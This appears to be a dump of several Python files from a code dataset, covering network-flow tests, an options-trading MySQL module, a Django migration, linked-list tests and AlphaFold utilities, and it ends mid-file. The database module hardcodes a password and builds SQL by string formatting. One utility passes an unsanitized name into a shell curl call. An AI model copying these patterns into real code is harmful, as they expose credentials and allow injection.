ytzi/the-stack-dedup-python-scored · Datasets at Hugging Face

424d80dc7999edc27c21ab202ecf629475f40e26

2,026

py

Python

tests/primitives/flow/probe_tcpip_extended_unibiflow_test.py

kjerabek/netexp

362c200230ba7b2549adcedd4a9890492dad51c7

[ "MIT" ]

null

tests/primitives/flow/probe_tcpip_extended_unibiflow_test.py

kjerabek/netexp

362c200230ba7b2549adcedd4a9890492dad51c7

[ "MIT" ]

null

tests/primitives/flow/probe_tcpip_extended_unibiflow_test.py

kjerabek/netexp

362c200230ba7b2549adcedd4a9890492dad51c7

[ "MIT" ]

null

from tests.primitives.flow import probe_tcpip_extended_biflow_test from netexp.primitives.flow import TCPIPFlowExtendedUniBiFlowInfo from netexp.common import naming class TestTCPIPExtendedUniBiFlow(probe_tcpip_extended_biflow_test.TestTCPIPExtendedBiFlow): flow_class = TCPIPFlowExtendedUniBiFlowInfo def test_short_single_uni_flow_stats(self, probe_short_flow): probe_short_flow.run() processed_flow = self.output.send.call_args.args[0] stats = processed_flow.to_dict() assert stats[naming.TIMESTAMP_AB] == [1590076139670363, 1590076139673838, 1590076139676297, 1590076139696210, 1590076139696270, 1590076141095061, 1590076141098597] assert stats[naming.L3_HEADER_LENGTH_AB] == [20, 20, 20, 20, 20, 20, 20] assert stats[naming.L4_HEADER_LENGTH_AB] == [40, 32, 32, 32, 32, 32, 32] assert stats[naming.L4_PAYSIZE_AB] == [0, 0, 517, 0, 0, 0, 0] assert stats[naming.TCP_FLAG_PSH_AB] == [0, 0, 1, 0, 0, 0, 0] assert stats[naming.TCP_FLAG_RST_AB] == [0, 0, 0, 0, 0, 0, 0] assert stats[naming.TCP_FLAG_ACK_AB] == [0, 1, 1, 1, 1, 1, 1] assert stats[naming.TCP_FLAG_FIN_AB] == [0, 0, 0, 0, 0, 1, 0] assert stats[naming.TCP_FLAG_SYN_AB] == [1, 0, 0, 0, 0, 0, 0] assert stats[naming.TIMESTAMP_BA] == [1590076139673781, 1590076139679702, 1590076139696191, 1590076139696249, 1590076141098561] assert stats[naming.L3_HEADER_LENGTH_BA] == [20, 20, 20, 20, 20] assert stats[naming.L4_HEADER_LENGTH_BA] == [40, 32, 32, 32, 32] assert stats[naming.L4_PAYSIZE_BA] == [0, 0, 1418, 1740, 0] assert stats[naming.TCP_FLAG_PSH_BA] == [0, 0, 0, 1, 0] assert stats[naming.TCP_FLAG_RST_BA] == [0, 0, 0, 0, 0] assert stats[naming.TCP_FLAG_ACK_BA] == [1, 1, 1, 1, 1] assert stats[naming.TCP_FLAG_FIN_BA] == [0, 0, 0, 0, 1] assert stats[naming.TCP_FLAG_SYN_BA] == [1, 0, 0, 0, 0]

56.277778

117

0.651037

1,856

0.916091

0

424f02955cdf26ece00480c3e560a36d37aea6f6

19,816

py

Python

optionstrader/database.py

Zaitsev11/Optionstrader

ed2dbef802ad08f14a0e5280e91746f1bf1fa3f3

[ "MIT" ]

6

2018-04-26T03:02:04.000Z

2022-02-26T04:58:53.000Z

optionstrader/database.py

webclinic017/Optionstrader

ed2dbef802ad08f14a0e5280e91746f1bf1fa3f3

[ "MIT" ]

null

optionstrader/database.py

webclinic017/Optionstrader

ed2dbef802ad08f14a0e5280e91746f1bf1fa3f3

[ "MIT" ]

5

2019-12-01T08:09:08.000Z

2021-11-28T03:43:24.000Z

import time import mysql.connector from optionstrader.customlogging import CustomLog from optionstrader.parser import Parser MYSQL_IP_ADDR = '192.168.1.10' # Used to debug via logs DEBUG = False class Database: def __init__(self): """ There's some confusion with database vs table. We will have separate environments for Dev/Stage and Prd, so we will want to ensure that the databases are separate. TODO: Ensure that the Dev/Stage and Prod environments are fully seggregated with their own databases. This will allows us to migrate the databases when the time comes. environment = 'dev' ('dev', 'stage', 'production') database = "algotrader_".format(environment) table = ('accounts', 'optionchainanalysis', 'optionchains', 'stocks') """ # initiate the connection when the database object is created # Standard procedure will be to open the connection, # perform the action, then close the connection self.log = CustomLog() self.parser = Parser() self.connection = self.connect_to_database() # CONFIGURATION # Possible Values: "Dev", "Stage", "Production" # Changebelow code when config file exists self.environment = "Dev" self.database_name = "algotrader_dev" # Below is used to determine how far back in seconds the analyzer tool should go # The reason behind this is because we do not want to delete stock market date # Instead, we would rather query the database and only select the records that # are within the threshold def connect_to_database(self): # try: # Using loopback for testing purposes. Might use socket level later. return mysql.connector.connect(user='optionstrader_service_account', password='helloworld', host=MYSQL_IP_ADDR, port='3306') #database='algotrader_data' #mysql.connector.errors.InterfaceError: 2003: Can't connect to MySQL server on 'localwhost:3306' # except Exception as e: # msg = "Error! Please check the MySQL database connection: {error}".format(error=e) # self.log.debug(msg) def configure_database(self): database_name = "algotrader_dev" self.create_database(database_name) table_columns = "(account_number TEXT, account_type TEXT, balance FLOAT, total_deposits FLOAT, total_withdrawls FLOAT)" table_name = "accounts" self.create_table(database_name, table_name, table_columns) table_columns = "(symbol TEXT, company_name TEXT)" table_name = "stocks" self.create_table(database_name, table_name, table_columns) table_columns = "(symbol TEXT)" table_name = "optionchains" self.create_table(database_name, table_name, table_columns) table_columns = "(symbol TEXT)" table_name = "optionchainanalysis" self.create_table(database_name, table_name, table_columns) # self.parse_symbols_and_add_to_db() self.log.debug("Database has been configured") return True def create_database(self, database_name): try: cursor = self.connection.cursor() query = ("CREATE DATABASE {database_name}").format(database_name=database_name) cursor.execute(query) output = self.connection.commit() cursor.close() msg = "Database `{database_name}` created.".format( database_name=database_name) self.log.debug(msg) return True except: msg = "Database `{database_name}` can't be created.".format( database_name=database_name) self.log.debug(msg) def create_table(self, database_name, table_name, table_columns): try: cursor = self.connection.cursor() query = "CREATE TABLE {database_name}.{table_name} {table_columns}".format( database_name=database_name, table_name=table_name, table_columns=table_columns) cursor.execute(query) output = self.connection.commit() cursor.close() msg = "Table `{table_name} created in database `{database_name}`.".format( database_name=database_name, table_name=table_name) self.log.debug(msg) return True except: msg = "Table `{table_name}` can't be created.".format( table_name=table_name) self.log.debug(msg) def close_connection(self): self.connection.close() # ==================================== # ==================================== # === Code used for Account Class ==== # ==================================== # ==================================== def update_account(self, balance, account_type): cursor = self.connection.cursor() query = ("UPDATE {db}.accounts SET balance={balance} WHERE account_type=\'{account_type}\'".format( db=self.database_name, balance=balance, account_type=account_type)) cursor.execute(query) self.connection.commit() cursor.close() def get_recommended_option_purchase(self): # TODO results_table_cursor = self.connection.cursor() #query = ("SELECT balance FROM accounts{env} where account_type='checking'".format(env=self.environment)) _query = ("SELECT * FROM optionchainanalysisDev ", "WHERE `total_price_paid_1x` BETWEEN 0 and 100 AND ", "`potential_profit_1x` BETWEEN 50 and 100 AND ", "`stock_price_increase` < 3.5 AND ", "`magic_number` BETWEEN 3 and 10 AND ", "`expiration_date` LIKE '2017-03-03' AND ", "`risk_percentage_1x` BETWEEN 0 and 18 ", "ORDER BY `timestamp` DESC") query = "".join(_query) log_msg = query # # self.connection.commit() result = results_table_cursor.execute(query) results_table = [] for record in results_table_cursor: results_table.append(record) return results_table #for record in results_table: # return record def get_list_of_tickers(self, query_type='default'): # TODO Implement the following: # We will want to stream data from external to the database then stream the symbols from the database # as they're made available. table = 'optionchains' if query_type == 'default': # Run the normal code here query = "SELECT DISTINCT symbol FROM {db}.stocks WHERE symbol is not Null".format( db=self.database_name) if query_type == 'options_only': # Run the code to only retrieve symbols which have had stock options in the past query = "SELECT DISTINCT underlying FROM {db}.{table} WHERE underlying is not Null".format( db=self.database_name, table=table, env=self.environment) if query_type == 'one_option_only': # Arbritrary first option only. # Usually used for testing purposes query = "SELECT DISTINCT underlying FROM {db}.{table} WHERE underlying is not Null LIMIT 1".format( db=self.database_name, table=table, env=self.environment) else: # Run a special SQL query here, which returns the symbols in a specific order pass cursor = self.connection.cursor() # As of 2/11/17, there are 3078 total results from this query self.connection.commit() result = cursor.execute(query) print(result) list_of_tickers = list() for ticker in cursor: #print(ticker[0]) list_of_tickers.append(ticker[0]) # Return type is a python list [u'AAPL', ..., u'GOOG'] return list_of_tickers def get_current_stock_price(self, symbol): # We want to make sure that the 'last_' price is within reason. We don't want to # pay 100x the average price of the item. cursor = self.connection.cursor(dictionary=True) query = "SELECT * FROM {db}.stocks WHERE symbol LIKE \'{symbol}\' ORDER BY `timestamp` DESC LIMIT 1".format( db=self.database_name, symbol=symbol) self.connection.commit() result = cursor.execute(query) for stock_data in cursor: return stock_data['last_'] def get_example_option_chains(self, num_chains_limit=1): # This function has a much less accurate query than query_option_chains_for_analysis # This function is typically used for testing purposes cursor = self.connection.cursor(dictionary=True, buffered=True) query = ("SELECT * from {db}.optionchains LIMIT {num_chains_limit}".format( db=self.database_name, num_chains_limit=num_chains_limit)) self.connection.commit() cursor.execute(query) self.log.debug("****Type:{0}".format(type(cursor))) return cursor # Only iterate once #for option_chain in cursor: # return option_chain, cursor[option_chain] # list_of_option_chains is all of the option chains for the ticker # therefore, we need to select and return the most recent one. cursor = self.connection.cursor() # As of 2/11/17, there are 3078 total results from this query query = "SELECT * from {db}.optionchains LIMIT 1".format( db=self.database_name) self.connection.commit() option_chain = cursor.execute(query) return option_chain def query_option_chains_for_analysis(self, ticker=None, current_timestamp=int(time.time()), time_threshold=30000, max_num_option_chains=40): # This function has a more precise query than get_example_option_chains # If no tickers are specified, retrieve the most recent option_chains if ticker == None: cursor = self.connection.cursor(dictionary=True, buffered=True) query_1 = "SELECT * FROM {db}.optionchains WHERE type LIKE 'option' and ".format( db=self.database_name) query_2 = "timestamp > ({current_timestamp}-{time_threshold}) and ".format( time_threshold=time_threshold, current_timestamp=current_timestamp) query_3 = "option_type LIKE 'call' ORDER BY `timestamp` DESC LIMIT {max_num_option_chains}".format(max_num_option_chains=max_num_option_chains) query = (query_1 + query_2 + query_3) self.log.debug(query) result = cursor.execute(query) self.log.debug(cursor.fetchone()) self.connection.commit() # If a ticker is specified, retrieve the most recent option_chains else: # We want to return the dictionary type # we need a MySQL buffered response cursor = self.connection.cursor(dictionary=True, buffered=True) query_1 = "SELECT * FROM {db}.optionchains WHERE type LIKE 'option' and ".format( db=self.database_name) query_2 = "timestamp > ({current_timestamp}-{time_threshold}) and underlying LIKE '{ticker}' and ".format(ticker=ticker, time_threshold=time_threshold, current_timestamp=current_timestamp) query_3 = "option_type LIKE 'call' ORDER BY `timestamp` DESC LIMIT {max_num_option_chains}".format(max_num_option_chains=max_num_option_chains) query = (query_1 + query_2 + query_3) result = cursor.execute(query) self.connection.commit() """ # cursor is a MySQLCursorDict object. # cursor is a MySQLCursorDict: SELECT * FROM optionchainsDev WHERE type.. # retrieve results using cursor.fetchall() """ return cursor # DEPRICATED #result = cursor.execute(query) # Iterate over all options in the option chains in the database for that ticker. # Sorted by time in descending order #all_options = [] #for option_chain in cursor: # all_options.append(option_chain) #return all_options def sanitize_field_names(self, field_name): sanitized_field_names_pairs = { 'change': 'change_', 'close': 'close_', 'open': 'open_', 'last': 'last_' } field_name = str(field_name) for name in sanitized_field_names_pairs.keys(): if field_name == name: sanitized_field_name = sanitized_field_names_pairs[name] return sanitized_field_name return field_name def save_option_chain_to_table(self, option_chain, table='optionchains'): # PLEASE NOTE: # If a new keyword (column) is detected, then the INSERT INTO command will fail # The next time that the option chain is attempted to be saved, the record # will update. attempt_number = 0 while True: try: # add timestamp here option_chain['timestamp']=int(time.time()) cursor = self.connection.cursor() #"{} {}".format(str(a.keys()).replace("'", ""), str(a.values()).replace("'", "")) #option_chain.keys(), option_chain.values() KEYS = [self.sanitize_field_names(i) for i in option_chain.keys()] VALUES = [str(i) for i in option_chain.values()] # Should never have the single character apostrophy. # Error out, if it contains once keys_error = [str(i).find("'") for i in option_chain.keys()] values_error = [str(i).find("'") for i in option_chain.values()] if max(max(keys_error), max(values_error)) != -1: log_msg = "" log_msg = "Error: single character apostrophy located in option_chain!" keys_formatted = str("(" + str(KEYS)[1:-1] + ")").replace("'", "") values_formatted = str("(" + str(VALUES)[1:-1] + ")") query = ("INSERT INTO {db}.{table} {keys} VALUES {values}").format( db=self.database_name, table=table, keys=keys_formatted, values=values_formatted) log_msg = "~~~~-----------------~~~" query = query.replace("'None'", 'NULL') if DEBUG is True: print(query) cursor.execute(query) self.connection.commit() cursor.close() # Break the while loop break except mysql.connector.ProgrammingError: # This means that the fields don't exist on the database # time to add the fields to the database log_msg = "Warning. Trying to update the database with fields which don't yet exist in the table." # Unsure which key is the problem one. # Try to create a field with each key. # if the key is already a field on the database, then pass without error for field_name in KEYS: # mySQL database needs specific table names to be off limits try: field_type = self.type_conversion(option_chain[field_name]) except: field_type = self.type_conversion(option_chain[field_name[:-1]]) try: self.add_new_column_to_table(field_name, field_type, table=table) except mysql.connector.ProgrammingError: pass log_msg = "Information. The fields were updated in table '{0}'.".format(table) if attempt_number == 1: log_msg = "Error: Unable to update SQL table" break else: log_msg = "Retrying the update to the table" attempt_number += 1 return True def update_option_chain_with_analysis(self, percentage_increase_analysis): # This is the analysis done for the percentage increase (1,2,5 percent) # of an underlyer result = self.save_option_chain_to_table(percentage_increase_analysis, table='optionchainanalysis') return True def add_new_column_to_table(self, column_name, data_type, table): cursor = self.connection.cursor() env = self.environment query = "ALTER TABLE {db}.{table} ADD {column_name} {data_type}".format( db=self.database_name, table=table, column_name=column_name, data_type=data_type) cursor.execute(query) self.connection.commit() return True def add_money_to_account(self, amount_of_money, account_type): current_balance = self.get_checking_account_balance() output = str(current_balance + amount_of_money) self.update_checking_account(output) print(self.get_checking_account_balance()) def subtract_money_from_account(self, amount_of_money, account_type): current_balance = self.get_checking_account_balance() output = str(current_balance - amount_of_money) self.update_checking_account(output) print(self.get_checking_account_balance()) def add_field_to_table(self, field, _type): cursor = self.connection.cursor() #query = ("ALTER TABLE stocks ADD %s %s") % (field, type) query = "ALTER TABLE {db}.stocks ADD {field} {type}".format( db=self.database_name, field=field, type=_type) cursor.execute(query) self.connection.commit() cursor.close() def insert_values_into_table(self, column_string, value_string): cursor = self.connection.cursor() query = "INSERT INTO {db}.stocks {column_string} VALUES {value_string}".format( db=self.database_name, column_string=column_string, value_string=value_string) self.log.debug(query) cursor.execute(query) self.connection.commit() cursor.close() def type_conversion(self, object_item): # We need to convert the types so that the sql database knows what to do # The names of the types differs between python and mysql # Examples: unicode, NoneType, int, float obj_type = type(object_item) #self.log.debug(object_item) #self.log.debug(obj_type) obj_type_str = str(obj_type).split("'")[1] if obj_type_str == 'unicode': return "text" if obj_type_str == 'float': return "float" if obj_type_str == 'NoneType': return "text" if obj_type_str == 'int': return "bigint(20)" else: return "text" def parse_symbols_and_add_to_db(self): # technically this should go in a separate test_parser module... TODO. results = self.parser.extract_symbols() for symbol_and_name in results[1:]: column_string = "(symbol, company_name)" value_string = "(\"{symbol}\", \"{company_name}\")".format( symbol=symbol_and_name[0],company_name=symbol_and_name[1]) self.insert_values_into_table(column_string, value_string) msg = "Symbols parsed and added to database" self.log.debug(msg) return results

41.717895

155

0.605874

19,618

0.990008

0

7,637

0.385396

424fc9a502a8c9fe3c5da2a1e3dec902d92abba5

10,254

py

Python

backend/api/migrations/0001_initial.py

leowotzak/ljwe-db

ab49f90feaac5fad26efa900db5567c9c09f3435

[ "MIT" ]

null

backend/api/migrations/0001_initial.py

leowotzak/ljwe-db

ab49f90feaac5fad26efa900db5567c9c09f3435

[ "MIT" ]

9

2021-11-17T18:31:29.000Z

2021-11-21T00:47:39.000Z

backend/api/migrations/0001_initial.py

leowotzak/ljwe-db

ab49f90feaac5fad26efa900db5567c9c09f3435

[ "MIT" ]

null

# Generated by Django 3.2.9 on 2021-11-24 02:52 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Symbol', fields=[ ('symbol_id', models.AutoField(primary_key=True, serialize=False)), ('name', models.CharField(max_length=200)), ('ticker', models.CharField(max_length=30)), ('description', models.TextField(blank=True, null=True)), ('sector', models.CharField(blank=True, max_length=30, null=True)), ('asset_type', models.CharField(blank=True, max_length=30, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ], options={ 'db_table': 'symbol', 'managed': True, }, ), migrations.CreateModel( name='BarDataWeekly', fields=[ ('timestamp', models.DateTimeField(primary_key=True, serialize=False)), ('open_price', models.FloatField()), ('high_price', models.FloatField()), ('low_price', models.FloatField()), ('close_price', models.FloatField()), ('adj_close_price', models.FloatField(blank=True, null=True)), ('volume', models.IntegerField()), ('dividend_amount', models.FloatField(blank=True, null=True)), ('split_coeff', models.FloatField(blank=True, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ('symbol', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='api.symbol')), ], options={ 'db_table': 'bar_data_weekly', 'managed': True, 'unique_together': {('timestamp', 'symbol')}, }, ), migrations.CreateModel( name='BarDataMonthly', fields=[ ('timestamp', models.DateTimeField(primary_key=True, serialize=False)), ('open_price', models.FloatField()), ('high_price', models.FloatField()), ('low_price', models.FloatField()), ('close_price', models.FloatField()), ('adj_close_price', models.FloatField(blank=True, null=True)), ('volume', models.IntegerField()), ('dividend_amount', models.FloatField(blank=True, null=True)), ('split_coeff', models.FloatField(blank=True, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ('symbol', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='api.symbol')), ], options={ 'db_table': 'bar_data_monthly', 'managed': True, 'unique_together': {('timestamp', 'symbol')}, }, ), migrations.CreateModel( name='BarDataDaily', fields=[ ('timestamp', models.DateTimeField(primary_key=True, serialize=False)), ('open_price', models.FloatField()), ('high_price', models.FloatField()), ('low_price', models.FloatField()), ('close_price', models.FloatField()), ('adj_close_price', models.FloatField(blank=True, null=True)), ('volume', models.IntegerField()), ('dividend_amount', models.FloatField(blank=True, null=True)), ('split_coeff', models.FloatField(blank=True, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ('symbol', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='api.symbol')), ], options={ 'db_table': 'bar_data_daily', 'managed': True, 'unique_together': {('timestamp', 'symbol')}, }, ), migrations.CreateModel( name='BarData5Min', fields=[ ('timestamp', models.DateTimeField(primary_key=True, serialize=False)), ('open_price', models.FloatField()), ('high_price', models.FloatField()), ('low_price', models.FloatField()), ('close_price', models.FloatField()), ('adj_close_price', models.FloatField(blank=True, null=True)), ('volume', models.IntegerField()), ('dividend_amount', models.FloatField(blank=True, null=True)), ('split_coeff', models.FloatField(blank=True, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ('symbol', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='api.symbol')), ], options={ 'db_table': 'bar_data_5min', 'managed': True, 'unique_together': {('timestamp', 'symbol')}, }, ), migrations.CreateModel( name='BarData30Min', fields=[ ('timestamp', models.DateTimeField(primary_key=True, serialize=False)), ('open_price', models.FloatField()), ('high_price', models.FloatField()), ('low_price', models.FloatField()), ('close_price', models.FloatField()), ('adj_close_price', models.FloatField(blank=True, null=True)), ('volume', models.IntegerField()), ('dividend_amount', models.FloatField(blank=True, null=True)), ('split_coeff', models.FloatField(blank=True, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ('symbol', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='api.symbol')), ], options={ 'db_table': 'bar_data_30min', 'managed': True, 'unique_together': {('timestamp', 'symbol')}, }, ), migrations.CreateModel( name='BarData1Min', fields=[ ('timestamp', models.DateTimeField(primary_key=True, serialize=False)), ('open_price', models.FloatField()), ('high_price', models.FloatField()), ('low_price', models.FloatField()), ('close_price', models.FloatField()), ('adj_close_price', models.FloatField(blank=True, null=True)), ('volume', models.IntegerField()), ('dividend_amount', models.FloatField(blank=True, null=True)), ('split_coeff', models.FloatField(blank=True, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ('symbol', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='api.symbol')), ], options={ 'db_table': 'bar_data_1min', 'managed': True, 'unique_together': {('timestamp', 'symbol')}, }, ), migrations.CreateModel( name='BarData1H', fields=[ ('timestamp', models.DateTimeField(primary_key=True, serialize=False)), ('open_price', models.FloatField()), ('high_price', models.FloatField()), ('low_price', models.FloatField()), ('close_price', models.FloatField()), ('adj_close_price', models.FloatField(blank=True, null=True)), ('volume', models.IntegerField()), ('dividend_amount', models.FloatField(blank=True, null=True)), ('split_coeff', models.FloatField(blank=True, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ('symbol', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='api.symbol')), ], options={ 'db_table': 'bar_data_1h', 'managed': True, 'unique_together': {('timestamp', 'symbol')}, }, ), migrations.CreateModel( name='BarData15Min', fields=[ ('timestamp', models.DateTimeField(primary_key=True, serialize=False)), ('open_price', models.FloatField()), ('high_price', models.FloatField()), ('low_price', models.FloatField()), ('close_price', models.FloatField()), ('adj_close_price', models.FloatField(blank=True, null=True)), ('volume', models.IntegerField()), ('dividend_amount', models.FloatField(blank=True, null=True)), ('split_coeff', models.FloatField(blank=True, null=True)), ('created_date', models.DateTimeField(blank=True, null=True)), ('last_updated_date', models.DateTimeField(blank=True, null=True)), ('symbol', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='api.symbol')), ], options={ 'db_table': 'bar_data_15min', 'managed': True, 'unique_together': {('timestamp', 'symbol')}, }, ), ]

49.062201

111

0.536083

10,128

0.987712

0

2,185

0.213088

42500bb71a15c0815810b37eafb946db4fb96b64

3,713

py

Python

Ch2_Linked_Lists/test/test_CTCI_Ch2_Ex6.py

mtrdazzo/CTCI

30a82aed96b05fe21b7d337a138e4ec19950eb9d

[ "MIT" ]

null

Ch2_Linked_Lists/test/test_CTCI_Ch2_Ex6.py

mtrdazzo/CTCI

30a82aed96b05fe21b7d337a138e4ec19950eb9d

[ "MIT" ]

null

Ch2_Linked_Lists/test/test_CTCI_Ch2_Ex6.py

mtrdazzo/CTCI

30a82aed96b05fe21b7d337a138e4ec19950eb9d

[ "MIT" ]

null

from unittest import TestCase from CTCI.Ch2_Linked_Lists.common.SinglyLinkedList import Empty, Node from CTCI.Ch2_Linked_Lists.exercises.CTCI_Ch2_Ex6 import PalindromeSinglyLinkedList, is_palindrome_brute_force from CTCI.Ch2_Linked_Lists.exercises.CTCI_Ch2_Ex6 import is_palindrome_reverse class TestPalindromeSinglyLinkedList(TestCase): def setUp(self): self.pll = PalindromeSinglyLinkedList() def tearDown(self): self.pll = None def test_empty_list(self): with self.assertRaises(Empty): self.pll.is_palindrome() def test_single_element(self): self.pll.add(1) self.assertTrue(self.pll.is_palindrome()) def test_two_elements(self): self.pll.add(1) self.pll.add(1) self.assertTrue(self.pll.is_palindrome()) self.pll.remove(1) self.pll.add(2) self.assertFalse(self.pll.is_palindrome()) def test_more_than_two_elements_even(self): self.pll.add(1) self.pll.add(2) self.pll.add(2) self.pll.add(2) self.assertFalse(self.pll.is_palindrome()) self.pll.remove(2) self.pll.add(1) self.assertTrue(self.pll.is_palindrome()) def test_more_than_two_elements_odd(self): self.pll.add(1) self.pll.add(2) self.pll.add(2) self.assertFalse(self.pll.is_palindrome()) self.pll.remove(2) self.pll.add(1) self.assertTrue(self.pll.is_palindrome()) class TestPalindromeBruteForce(TestCase): def setUp(self): pass def tearDown(self): pass def test_empty_linked_list(self): self.assertIsNone(is_palindrome_brute_force(None)) def test_single_element(self): list = Node(1) self.assertTrue(is_palindrome_brute_force(list)) def test_two_elements(self): list = Node(1) list.next = Node(2) self.assertFalse(is_palindrome_brute_force(list)) list.next = Node(1) self.assertTrue(is_palindrome_brute_force(list)) def test_odd_elements(self): list = Node(1) list.next = Node(2) list.next.next = Node(2) self.assertFalse(is_palindrome_brute_force(list)) list.next.next = Node(1) self.assertTrue(is_palindrome_brute_force(list)) def test_even_elements(self): list = Node(1) list.next = Node(2) list.next.next = Node(2) list.next.next.next = Node(3) self.assertFalse(is_palindrome_brute_force(list)) list.next.next.next = Node(1) self.assertTrue(is_palindrome_brute_force(list)) class TestPalindromeReverse(TestCase): def setUp(self): pass def tearDown(self): pass def test_empty_node(self): self.assertIsNone(is_palindrome_reverse(None)) def test_single_node(self): self.assertTrue(is_palindrome_reverse(Node(1))) def test_two_nodes(self): l_list = Node(1) l_list.next = Node(2) self.assertFalse(is_palindrome_reverse(l_list)) l_list.next = Node(1) self.assertTrue(is_palindrome_reverse(l_list)) def test_odd_nodes(self): l_list = Node(1) l_list.next = Node(2) l_list.next.next = Node(3) self.assertFalse(is_palindrome_reverse(l_list)) l_list.next.next = Node(1) self.assertTrue(is_palindrome_reverse(l_list)) def test_even_nodes(self): l_list = Node(1) l_list.next = Node(2) l_list.next = Node(2) l_list.next = Node(3) self.assertFalse(is_palindrome_reverse(l_list)) l_list.next.next = Node(1) self.assertTrue(is_palindrome_reverse(l_list))

24.919463

110

0.649879

3,414

0.919472

0

4250d5da81ea72feff3b65a105d5b2c76567a7d7

49,917

py

Python

alphafold2_pytorch/utils.py

nilbot/alphafold2

455124ca9135e534739b9670c010512487965547

[ "MIT" ]

1

2022-01-21T04:58:18.000Z

alphafold2_pytorch/utils.py

nilbot/alphafold2

455124ca9135e534739b9670c010512487965547

[ "MIT" ]

null

alphafold2_pytorch/utils.py

nilbot/alphafold2

455124ca9135e534739b9670c010512487965547

[ "MIT" ]

null

# utils for working with 3d-protein structures import os import numpy as np import torch from functools import wraps from einops import rearrange, repeat # import torch_sparse # only needed for sparse nth_deg adj calculation # bio from Bio import SeqIO import itertools import string # sidechainnet from sidechainnet.utils.sequence import ProteinVocabulary, ONE_TO_THREE_LETTER_MAP from sidechainnet.utils.measure import GLOBAL_PAD_CHAR from sidechainnet.structure.build_info import NUM_COORDS_PER_RES, BB_BUILD_INFO, SC_BUILD_INFO from sidechainnet.structure.StructureBuilder import _get_residue_build_iter # build vocabulary VOCAB = ProteinVocabulary() # constants import alphafold2_pytorch.constants as constants # helpers def exists(val): return val is not None # constants: same as in alphafold2.py DISTANCE_THRESHOLDS = torch.linspace(2, 20, steps = constants.DISTOGRAM_BUCKETS) # distance binning function def get_bucketed_distance_matrix(coords, mask, num_buckets = constants.DISTOGRAM_BUCKETS, ignore_index = -100): distances = torch.cdist(coords, coords, p=2) boundaries = torch.linspace(2, 20, steps = num_buckets, device = coords.device) discretized_distances = torch.bucketize(distances, boundaries[:-1]) discretized_distances.masked_fill_(~(mask[..., None] & mask[..., None, :]), ignore_index) return discretized_distances # decorators def set_backend_kwarg(fn): @wraps(fn) def inner(*args, backend = 'auto', **kwargs): if backend == 'auto': backend = 'torch' if isinstance(args[0], torch.Tensor) else 'numpy' kwargs.update(backend = backend) return fn(*args, **kwargs) return inner def expand_dims_to(t, length = 3): if length == 0: return t return t.reshape(*((1,) * length), *t.shape) # will work with both torch and numpy def expand_arg_dims(dim_len = 3): """ pack here for reuse. turns input into (B x D x N) """ def outer(fn): @wraps(fn) def inner(x, y, **kwargs): assert len(x.shape) == len(y.shape), "Shapes of A and B must match." remaining_len = dim_len - len(x.shape) x = expand_dims_to(x, length = remaining_len) y = expand_dims_to(y, length = remaining_len) return fn(x, y, **kwargs) return inner return outer def invoke_torch_or_numpy(torch_fn, numpy_fn): def outer(fn): @wraps(fn) def inner(*args, **kwargs): backend = kwargs.pop('backend') passed_args = fn(*args, **kwargs) passed_args = list(passed_args) if isinstance(passed_args[-1], dict): passed_kwargs = passed_args.pop() else: passed_kwargs = {} backend_fn = torch_fn if backend == 'torch' else numpy_fn return backend_fn(*passed_args, **passed_kwargs) return inner return outer # preprocess data def get_atom_ids_dict(): """ Get's a dict mapping each atom to a token. """ ids = set(["", "N", "CA", "C", "O"]) for k,v in SC_BUILD_INFO.items(): for name in v["atom-names"]: ids.add(name) return {k: i for i,k in enumerate(sorted(ids))} def make_cloud_mask(aa): """ relevent points will be 1. paddings will be 0. """ mask = np.zeros(14) # early stop if padding token if aa == "_": return mask # get num of atoms in aa n_atoms = 4+len( SC_BUILD_INFO[ ONE_TO_THREE_LETTER_MAP[aa] ]["atom-names"] ) mask[:n_atoms] = 1 return mask def make_atom_id_embedds(aa, atom_ids): """ Return the tokens for each atom in the aa. """ mask = np.zeros(14) # early stop if padding token if aa == "_": return mask # get atom id atom_list = ["N", "CA", "C", "O"] + SC_BUILD_INFO[ ONE_TO_THREE_LETTER_MAP[aa] ]["atom-names"] for i,atom in enumerate(atom_list): mask[i] = ATOM_IDS[atom] return mask ATOM_IDS = get_atom_ids_dict() CUSTOM_INFO = {k: {"cloud_mask": make_cloud_mask(k), "atom_id_embedd": make_atom_id_embedds(k, atom_ids=ATOM_IDS), } for k in "ARNDCQEGHILKMFPSTWYV_"} # common utils # parsing to pdb for easier visualization - other example from sidechainnet is: # https://github.com/jonathanking/sidechainnet/tree/master/sidechainnet/structure def download_pdb(name, route): """ Downloads a PDB entry from the RCSB PDB. Inputs: * name: str. the PDB entry id. 4 characters, capitalized. * route: str. route of the destin file. usually ".pdb" extension Output: route of destin file """ os.system(f"curl https://files.rcsb.org/download/{name}.pdb > {route}") return route def clean_pdb(name, route=None, chain_num=None): """ Cleans the structure to only leave the important part. Inputs: * name: str. route of the input .pdb file * route: str. route of the output. will overwrite input if not provided * chain_num: int. index of chain to select (1-indexed as pdb files) Output: route of destin file. """ import mdtraj destin = route if route is not None else name # read input raw_prot = mdtraj.load_pdb(name) # iterate over prot and select the specified chains idxs = 